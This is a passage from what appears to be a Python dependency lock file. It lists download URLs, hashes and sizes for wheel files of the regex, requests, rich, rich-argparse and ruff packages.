{ url = "https://files.pythonhosted.org/packages/9f/cb/38daabed32d28f7e58a06e9344ce00dc67952e9996bc578ed6a29fe1240e/regex-2026.9.29-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ddfa987262763c3c22a8367d2a49c244b018a74c3a8e3ab1a864119ad45c5633", size = 918684, upload-time = "2026-09-29T00:47:45.594Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a9/4d/041d9458a645fee4fce4d642a89d27271a3cfcd91095104f6dde44da70bf/regex-2026.9.29-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2f7f7aa47b229f2b39a2ae2596d2ad5625d77b5eb9856fac2dab3eb506cdd0a0", size = 807176, upload-time = "2026-09-29T00:47:47.372Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bf/c4/4383eed7aa5aef67616cb1b3f3ad06b7c624c4e6cced48630cd5ce133d85/regex-2026.9.29-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d9b77b25b4f395f92de6099ab08e8ae2bc7e51dfe157f22900902243a5cc90c7", size = 784315, upload-time = "2026-09-29T00:47:49.518Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5c/a6/0086ad31cebb183c637d3198547075aa493afde308e1ff61fccccb29ba6e/regex-2026.9.29-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:34b6925af9853bf461950e6508910f179fd6e9b1a7ec8548e069606b7e51a26b", size = 793748, upload-time = "2026-09-29T00:47:51.279Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d5/a0/f9005cba3f629a859573fc5d1224ea4e1f97919ec8581d018e03a351a604/regex-2026.9.29-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:addd736a0547d553283adaf4e05d7104e7f2c7b0b092e9b4d28756825f14531f", size = 870302, upload-time = "2026-09-29T00:47:53.368Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/01/4f/e1a3e46bb5315a4e18b01a990e7a28e2a16595609d50c442baf2815a3c65/regex-2026.9.29-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fe3fa1dd453ed5c7f5ea23a26218329790ed7197a99b90e94330e313959a7f52", size = 770299, upload-time = "2026-09-29T00:47:55.606Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2c/fe/f303b4acfda44e1ff1379368748c1ef2dad04a6a8e9c0ecbc970b19d97ca/regex-2026.9.29-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:0cc63b5e47c12a48d90c7e9d7de6a035dd14f62868aaedbb4e0ff8ba2b8bfe7b", size = 861570, upload-time = "2026-09-29T00:47:57.617Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/60/b6/b4f7e99249f596017c60ccad5faf9310fc8e3e59bb2244940a90a1b0bdff/regex-2026.9.29-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:724184b4aafed865e4f13ca313fdcb43024300c028ec67319cfa16847d84685e", size = 795967, upload-time = "2026-09-29T00:47:59.922Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/fb/d3/fc865a4638d9f6762192b6bab5b7aa1f33a90e9e99578c2e111e2a63c8c3/regex-2026.9.29-cp314-cp314-win32.whl", hash = "sha256:c6c8fabf1dafc1f1ddcbb67896d3f93efb092e8c4b6322d7389b944e76a484e5", size = 274758, upload-time = "2026-09-29T00:48:01.8Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/31/e2/c2b466924ccbeb874862968ca638051b15a8fd29d994a0e99004a5cbf78e/regex-2026.9.29-cp314-cp314-win_amd64.whl", hash = "sha256:1c2a0026062abcc321a53db4a185ceba0b59a66b5d37b0808917a88b55a5257f", size = 283817, upload-time = "2026-09-29T00:48:03.614Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c6/42/ea0f8dbaa924fa75c6338935eaee2f44dab369b27f02db1e03d74344b049/regex-2026.9.29-cp314-cp314-win_arm64.whl", hash = "sha256:121a76a0985db80ceae9e171c337f8c927868e37d01b54e3ce87bc87f9c6a208", size = 283663, upload-time = "2026-09-29T00:48:05.624Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/44/48/d58e5081119f5c223bbb37d2340acde3d069e1df8e8cd166c37502eee4da/regex-2026.9.29-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:e31f72490b7c12f7790e1e25c3afffd20503ee1bfb43461d7838b871ff244b19", size = 501393, upload-time = "2026-09-29T00:48:07.833Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/72/3c/c49945287d4f9efee7d41f98072f8ad880efb8f430595a612fbdea996a4e/regex-2026.9.29-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:80ea96f5c1a30bf09007d48466521d9c294bebe197c708c3359096e3e3691632", size = 298237, upload-time = "2026-09-29T00:48:09.684Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f9/1f/688cb61c3d4cf7bcc1ed444b5cc49399eba3e51c469ae285cf87fea3022e/regex-2026.9.29-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:554bffadcbcb6d5f4e5fb10a61cc52084b9a63d1dab5f10bcd2c4343972e8e2c", size = 295936, upload-time = "2026-09-29T00:48:11.454Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/26/a3/de43ac6b877b7d09c19a3a426b1bd5acdd209eaaf68f406466f80439ccf6/regex-2026.9.29-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:864e9b87ac33c3fb9fb4ad48166d4fdb579c351d5c77deb0d34bccb36a775cd9", size = 816905, upload-time = "2026-09-29T00:48:13.321Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/62/14/9940763201c51d537786304984c67d0fc3d2ed18837ffb6f09a869f6b6c9/regex-2026.9.29-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:044265d77d94f5e3cb2fd72c76723807c429cb8c533e9d4672d0334a6f14f588", size = 881527, upload-time = "2026-09-29T00:48:15.313Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d3/e1/c842d8df0b23245ebf202f8ab9c39fd48e2db39959454ec39a41c8c72082/regex-2026.9.29-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2089fe39c406784d90101c726755ffa1497bb74638fd434300d2b88006186de8", size = 923115, upload-time = "2026-09-29T00:48:17.328Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d8/c1/98622479e3c354a446a75232e522d747d2b3df23092dcd8a5309380a2020/regex-2026.9.29-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0def9fb6abac55492d6d51cddb7225d07d6f279e774e0adc08569a54a5fc8d46", size = 820674, upload-time = "2026-09-29T00:48:19.32Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6c/d0/5808c95f9c79ed27b5eedaafc3df6239ec56a49f2e23ea8f831b18427c82/regex-2026.9.29-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:888d60953908dcf761aa320c3e390ab8556efbdb551ace63921de90f6ae0848d", size = 793306, upload-time = "2026-09-29T00:48:21.615Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/bf/d3/021ca2638671ad20603bcd9b4d5bfa35d2610cd216a043ea7f0b44ea39f6/regex-2026.9.29-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:ed511a0708e2297e1d6431e7fb217e3402791e491e02da800658ace4973df1bb", size = 803103, upload-time = "2026-09-29T00:48:23.871Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6b/2d/755c6d13ef9c657378013676c391c7a402166b3f419a464a3e058dcbe533/regex-2026.9.29-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:e1172147d28d8fbcf8cb8d26c41506169f5ad8fe9ec969cb116835a19d4d8eca", size = 872175, upload-time = "2026-09-29T00:48:26.255Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/6c/fc/e1cab183b9dafe8597f58c1c766da9bf96204d3b2f232bcf3eeb75ff7b6c/regex-2026.9.29-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:92f05c9c42bde5785dc48770bc2194d9f7442544156f951e19cd31b096cec562", size = 777362, upload-time = "2026-09-29T00:48:28.389Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/06/7c/e10ea17fba31fb4a1f9d13ed53a2d2a9066a2aea58d7557e263f6d99e7b0/regex-2026.9.29-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:f37964e4a5e993d2fd45147741e9dff7f34a2d8c00ab94c4ea0514a4677f959e", size = 865606, upload-time = "2026-09-29T00:48:30.4Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/8e/6e/69824d9aee1fd41c54ea7264654a47c8d9d84d8a228e11c2bcf4c201ed81/regex-2026.9.29-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:951733b1bbdb71e377cec567b409f1a7881b47cfcad84121aa74cb575fa425ea", size = 807945, upload-time = "2026-09-29T00:48:32.375Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/89/22/857050a86e21ce60193e02a8ef662521f2e263a645c8b1b905fc136b61a7/regex-2026.9.29-cp314-cp314t-win32.whl", hash = "sha256:65b408d8fcb273e3499e7ef2ce796810da1becd208c7fb4373692a242d79d461", size = 276758, upload-time = "2026-09-29T00:48:34.72Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4d/96/56808fe029553d7d4c703414f2a527faad2ea2bfa9ca094a2e7f8762b530/regex-2026.9.29-cp314-cp314t-win_amd64.whl", hash = "sha256:bf48516e35cf848390ea68850aba53e7c333720d2945b4d2c25b69fc5171723f", size = 286527, upload-time = "2026-09-29T00:48:36.864Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/01/aa/074e2cfb3d8101a6a764aba5f7c5d1e21de087483e35bdc0c4ce2eb60364/regex-2026.9.29-cp314-cp314t-win_arm64.whl", hash = "sha256:9173db3be74a35cb6731701094b98120f7ee4876a287882a59cdea1fa7da342f", size = 285954, upload-time = "2026-09-29T00:48:38.901Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a7/dc/d84990386c9dfdf8c377f00f371b241fdc9a2c8aea0e3d66941b2e51be0b/regex-2026.9.29-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:c3589f40749acce747510bf5d589d54e376cb0930ea58b35effac97e5312b0c1", size = 497836, upload-time = "2026-09-29T00:48:40.858Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c2/ab/a569ebde875fa12ff8c6c9a30e07503620f195e4be4d54c3d3ee8eecc283/regex-2026.9.29-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:32ab11df9677ca80bcbb5fe4eb1da9109a5019239a054836efc6fa1c64e683cf", size = 296244, upload-time = "2026-09-29T00:48:42.952Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f3/3e/7d548e82a108e7c8b2d5246650e397a2f8db599f9b2e975466939c5b4e70/regex-2026.9.29-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:7c03031610e3e6ed1768a2b7a8fc84637c1257b50c5eacaf094c6e17a84fc563", size = 293748, upload-time = "2026-09-29T00:48:44.985Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/40/34/a8e19a52f452bbb07b32a2bef70dcdf90c2737049749f74cc12d7486fb4f/regex-2026.9.29-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:42e82e578c904445d4c8a35b8f28052cf567593215fa5db06266fbc6f77aaa2e", size = 807840, upload-time = "2026-09-29T00:48:46.948Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/88/7b/11fbd4640b3bb82b72822a63c20ade4013d562d291703a9debeedc24e682/regex-2026.9.29-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0b65c72739f981377c9c22e0c5c3cd7f42da7bd8a3c9209330fac772c7d893ed", size = 879330, upload-time = "2026-09-29T00:48:49.168Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/f3/55/de58c74f1f4e31586d83eb39c56872d686c4e0d0966d151884c833b94ced/regex-2026.9.29-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4408b2b27a95ca8cc48b7411945753773353b5c93b307754781086c99d3a576f", size = 919251, upload-time = "2026-09-29T00:48:51.322Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/81/42/a8c480f6dd5ac59fa28ddae79afd9d7ac7e596fdb61813adc65bb6e674b8/regex-2026.9.29-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a714befaacbd10092ffe4cea0d3c5f008fb9efe9bc322c715bcdfdee414b9a3d", size = 808808, upload-time = "2026-09-29T00:48:53.529Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/68/60/0bc0d1ec8b37ad64be6fa30e035251f11de9667a0fac9e82ee74517d81be/regex-2026.9.29-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:33026515aebc0e70d1c89978e53e8d695d35d9e472f8d5b34465ba3c74028650", size = 789907, upload-time = "2026-09-29T00:48:56.036Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/da/84/116a3ef19b3acfe81077f0bf2cbc7714a5e94bc8935b7243ab61cb0f1c3c/regex-2026.9.29-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:31b003f9a070335e2a8233ee9b14a3ca8e6d792012ae011f741bf0aaf11744c5", size = 795770, upload-time = "2026-09-29T00:48:58.284Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/96/ba/e38c3f203e7e7e18c957d48e6cb6dbf96c11e95a44efa4a480522afc5d6d/regex-2026.9.29-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:c03c6eb6ece86dfdcbb34799efaa339b093132e1aceed491ba5e08fe06cdf699", size = 870671, upload-time = "2026-09-29T00:49:00.506Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2f/0f/9ee0b0cb76c55f63684bd7fff554978e8773b4fc86e2bcb2d50772dc1086/regex-2026.9.29-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:a5300757f8a68f5b6cc33f57338d72a0e3589c5cc9ad5f8504ea06f028be582a", size = 778631, upload-time = "2026-09-29T00:49:02.984Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b6/19/e6e3eeb226af5872c4958002f6edef4e4f40ea4cc5f5665023f2019eb045/regex-2026.9.29-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:80c7cadd3fd2bfde5df8aa0787e315812cad0c313a753095d02f4c2b6c01677b", size = 862187, upload-time = "2026-09-29T00:49:05.264Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5b/62/823c102e106bb2711d6b7dfe5981552fe4467b2969c46a20c5c383cf498c/regex-2026.9.29-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:3f1e6cb402a89457582cd696f982559217d13484a193202c394015297968c86d", size = 798423, upload-time = "2026-09-29T00:49:07.644Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/37/e0/e927776258fa70b2f6feffc3be584ffc85ba4c1e20a320f0aee9a632fc7d/regex-2026.9.29-cp315-cp315-win32.whl", hash = "sha256:a64b85a4760337cfefdb27d42da6ed8b58e8cde3f2d57b6ef43e76ef6ea9ef47", size = 274757, upload-time = "2026-09-29T00:49:10.513Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/77/04/358de85d1860238e1b4fa98fc2c80c990124a25d2e14739e28cc02c25562/regex-2026.9.29-cp315-cp315-win_amd64.whl", hash = "sha256:b3e445b66c80b4eb4234e855ce94d9adc183eedbd632816228d89930b91b2c5b", size = 283824, upload-time = "2026-09-29T00:49:12.849Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/92/d3/d5c5b264784a5ab2b0f8cf620c1eeb4dbf3440d306761905e7d99345bef5/regex-2026.9.29-cp315-cp315-win_arm64.whl", hash = "sha256:8f39588af4731c8923c26810eb3b33f76f17633985e40f59c3cd45a33805a895", size = 283664, upload-time = "2026-09-29T00:49:15.331Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/02/dc/f63ec2c201445ce1150fe780f5c56f16a10124d9a9da3a93161dbb0d8892/regex-2026.9.29-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:fb99cc9d45f48895d9d67f6a0b8a57f08d39c174d9f25ad97a313e0470267b1c", size = 501549, upload-time = "2026-09-29T00:49:17.705Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/9a/5c/d2a698dc6bfc11fbce03f1cb0249c13284e93b79ed11f893edf6fac431c9/regex-2026.9.29-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:720537c7ea6f80dc61913184edb0ce2497a306b39ef19f28505b322553d52bdb", size = 298187, upload-time = "2026-09-29T00:49:20.171Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/85/b7/88dcdb38cd3935d4ee9e9ce9b8e56cb3b3518d1f020acfa7dd62ad289bf8/regex-2026.9.29-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:0fd2c901cc307a745ad4bc87f20060d7a0825a3371d1e93488af22e7a387f78f", size = 296157, upload-time = "2026-09-29T00:49:22.342Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/d3/8e/ba6c01dde33a69fc294b38b43f6677baaa5735a6248f39708031a738158a/regex-2026.9.29-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b11b589e00095ec69cf79841a76360f9b079e95b0368a25b5ebb951ab0c157ff", size = 818468, upload-time = "2026-09-29T00:49:24.612Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2a/f1/2586693e3a2d6b1247852593d37a6c17b42a92ee44f7cdcb9a0c1494e64a/regex-2026.9.29-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d7cab119d0df0b9413f106b4d7fc34f2872d3574ed3806fb48959c830b1537da", size = 882825, upload-time = "2026-09-29T00:49:26.996Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/30/51/084f3e7bdcd0e9c33665c938cf5d134dc3548cbb4a75f0197ec7bfd754b1/regex-2026.9.29-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b89efc38431793d28b7cd91227e2f952ad7c48df19132b17f43a5fec3c14143b", size = 923314, upload-time = "2026-09-29T00:49:29.822Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5a/f1/066c6fc23b7dc229789c21c880b5ba5ad689fb95fed12e078266f55a1f9b/regex-2026.9.29-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:80a5ea3b4fd9d6a5b9a44f7976a9acaaab35aa3c1f6b29e5bd857dfabaded223", size = 822222, upload-time = "2026-09-29T00:49:32.404Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0a/56/592cd46fdb8f2f8682a1d7fd1310e4d0bcb93fbd0e6bbe4141ac28240227/regex-2026.9.29-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:19959129885356df0e97556856f77eb2888380dac18bed075a7c05c5128c618d", size = 794882, upload-time = "2026-09-29T00:49:35.076Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/ee/4d/d65384bb071c864b01aa8314e3a6a687845ebd57588390976edc960c218b/regex-2026.9.29-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:6a1a824fbed817e0a891103886b68f063b1e83cc51bc97192a90a60195a9291f", size = 805887, upload-time = "2026-09-29T00:49:37.395Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/65/b6/358de0d8f40d5178e4f7e7e121cfd5b961c812b77a055d11f5079e3f8fd7/regex-2026.9.29-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:1ba8c6a416569ce0d37e83e28a254a61dc99a419084dfb6476cea02d997f74fa", size = 872901, upload-time = "2026-09-29T00:49:39.927Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/00/06/6bfded72d043240c6b52bbb5e16f639d81affbf7484b4fe2ec45f3d4afc9/regex-2026.9.29-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:446654b29bfaa30500d80947eda42cef1449dc8a87f4e3cf061cc8485d3a1f0b", size = 782970, upload-time = "2026-09-29T00:49:42.581Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/5a/20/9f418a50baa78b3ed8308fcb0cc49e472dd000b7ef935a7295af202ea744/regex-2026.9.29-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:bf3c49863c23a1ad6da9c30351aed6cff8d5ddbeb63c5c8420ae54e98c7d0138", size = 865441, upload-time = "2026-09-29T00:49:45.238Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/2c/29/817c7eacdeaf8463123e949bd394c39ad024eea1ec38ddf5ad141da2f3bd/regex-2026.9.29-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:01000ddf0e3ffef97f2413ceb514f6313040106b6d18a03ee00a4fe35c1eb1db", size = 809431, upload-time = "2026-09-29T00:49:47.878Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/63/0b/83aab3b5b739947f744135a7a3a446e25433ebc92b05e01aae197ccbfdda/regex-2026.9.29-cp315-cp315t-win32.whl", hash = "sha256:c4e38dd8f39c43a91d2410ad2b85610701b0979342c3df1d69eaf8e838c757d8", size = 276964, upload-time = "2026-09-29T00:49:50.524Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/72/f2/6314b5fc68789b5dcc38885bc6e3d6986b34fb3372b7231088ee5cecaa05/regex-2026.9.29-cp315-cp315t-win_amd64.whl", hash = "sha256:e2c89e9b762c57f59d5e99ee8b20202adb892e35f8d3485741340999ca55058e", size = 286487, upload-time = "2026-09-29T00:49:53.224Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/56/bc/97b2245c8c7b2dd01f2db74f2bea003cd33c15009b4996a2447f46b5325c/regex-2026.9.29-cp315-cp315t-win_arm64.whl", hash = "sha256:e8c65ef3862a8ad6e86492b6ed9327805dd66904c012bd3649dc67d822ed6c34", size = 285955, upload-time = "2026-09-29T00:49:55.655Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "requests"
|
||||||
|
version = "2.34.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "certifi" },
|
||||||
|
{ name = "charset-normalizer" },
|
||||||
|
{ name = "idna" },
|
||||||
|
{ name = "urllib3" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rich"
|
||||||
|
version = "15.0.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "markdown-it-py" },
|
||||||
|
{ name = "pygments" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rich-argparse"
|
||||||
|
version = "1.8.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "rich" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/6a/e5/1064c43203a357d668cd42435f7a15fe6af51512d85b2104fecb937aa861/rich_argparse-1.8.0.tar.gz", hash = "sha256:679df3d832fa94ad6e4bdb07ded088cd7ea2dddc58ae9b2b46346a40b06cbc0c", size = 38940, upload-time = "2026-05-01T15:18:43.604Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0b/35/1cceccc5fcb50fa2ed53e2aa278cd032f3902682a73e763fb1ac3be8e6fa/rich_argparse-1.8.0-py3-none-any.whl", hash = "sha256:d2a3ce7854654e2253c578763ab0a32f05016f23a55fadba7b9a91b6c0e92142", size = 25616, upload-time = "2026-05-01T15:18:42.395Z" },
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ruff"
|
||||||
|
version = "0.16.9"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/96/bf/c935ca98e73fe8ce65b87ef08a280c0c1e85295d569228c15e87d8fdfaf1/ruff-0.16.9.tar.gz", hash = "sha256:12b625c6cfba78d285d9f48eda5f053374f1e53cb10ef17342a383750db99161", size = 4948764, upload-time = "2026-09-24T20:37:49.416Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/0d/26/df51322b52ee1ada7eff2d071ea09d11d5c2d1dcc9f02594f5785c4d1635/ruff-0.16.9-py3-none-linux_armv6l.whl", hash = "sha256:95e6f022090368ab3b824c36276839c53b2adf1a3f4c09fefc33dfc400f6da96", size = 10082922, upload-time = "2026-09-24T20:37:13.045Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/a5/27/7bf51f5a7aa375e9f339280a303aab44ca75dc1525f1cdc5991761685b0f/ruff-0.16.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a5f27be168556594a86d2f415db0cf43f5291917849318f873c7e2791f7a8c67", size = 10236360, upload-time = "2026-09-24T20:37:16.049Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/b6/63/09659283f92f02dff45809da194a70da2f688d87c55d8875c4fae3536072/ruff-0.16.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:1632eb1d6197f33bd00b1acbc5b71009e89a8895c158e2d2b03a834fac964ab6", size = 9892940, upload-time = "2026-09-24T20:37:17.957Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/24/58/98de1b72ec172f5f8f1731236fe21585b3998bf7dfe9fcc44ae9ba626012/ruff-0.16.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3f951b14d865d5952c89d40a5ca07e87abe24fa5453299878411e127748fb1c", size = 10032114, upload-time = "2026-09-24T20:37:19.942Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/c8/7d/f1e17c54ab59d4bad1dce8ee3e22a7a1d0ef4745240decacdcf3832b5bb2/ruff-0.16.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:447fc07e1573afff7cb02803462b12b6c8ece7cf10e2cd78565fa6d7a1c0bf8d", size = 9910227, upload-time = "2026-09-24T20:37:21.872Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/34/19/436f647a65075bbd3bab2668b3bdaa5120559b294694018cdcefabbbf30b/ruff-0.16.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a3e039a6a40ed976c491722b60e0ae4a4aa1a86057f540ee7a37a5d19ae9120", size = 10547484, upload-time = "2026-09-24T20:37:24.229Z" },
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/03/59/38430a6bc2f6d8095447ac39625cf8b6e9344a47e6c26225c8ba1bff3ffb/ruff-0.16.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4684dded7db60aa57cb118fa158630f5feade4af5782903b6053484bdf9bd129", size = 11412367, upload-time = "2026-09-24T20:37:26.307Z" },
|
||||||
|
